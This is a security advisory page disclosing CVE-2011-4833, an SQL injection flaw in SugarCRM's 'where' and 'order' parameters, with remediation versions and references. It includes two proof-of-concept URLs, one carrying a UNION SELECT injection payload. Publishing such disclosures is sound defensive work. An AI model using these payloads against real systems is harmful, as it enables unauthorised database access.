In light of COVID-19 precaution measures, we remind that all ImmuniWeb products can be easily configured and safely paid online without any human contact or paperwork.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime


Your data will stay confidential Private and Confidential

SQL Injection in SugarCRM

Advisory ID:HTB23051
Product:SugarCRM
Vendor:SugarCRM Inc.
Vulnerable Versions:Community Edition 6.3.0RC1 and probably prior
Tested Version:Community Edition 6.3.0RC1
Advisory Publication:October 5, 2011 [without technical details]
Vendor Notification:October 5, 2011
Public Disclosure:November 30, 2011
Latest Update:November 30, 2011
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2011-4833
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in SugarCRM, which can be exploited to perform SQL injection attacks.

1) SQL Injection Vulnerability in SugarCRM: CVE-2011-4833
Input passed via the "where" and "order" GET parameters to index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&wh ere=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66 ,67,68,69,70,71%20--%20
http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&or der=SQL_CODE_HERE%20--%20
Successful exploitation of the vulnerabilities requires attacker to be registered and logged-in.

How to Detect SQL Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
This was addressed as a part of the following versions of SugarCRM.

6.1.7 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47839 )
6.2.4 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47800 )
6.3.0RC3 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47805 )
6.4.0beta1 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47806 )

Upgrading to any of these versions will resolve the issue. Downloads are available at http://www.sugarforge.org/frs/?group_id=6.


References:
[1] High-Tech Bridge Advisory HTB23051 - https://www.immuniweb.com/advisory/HTB23051 - SQL Injection Vulnerability in SugarCRM
[2] SugarCRM - sugarcrm.com - Sugar is an affordable and easy to use customer relationship management (CRM) platform, designed to help your business communicate with prospects, share sales information, close deals and keep customers happy.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question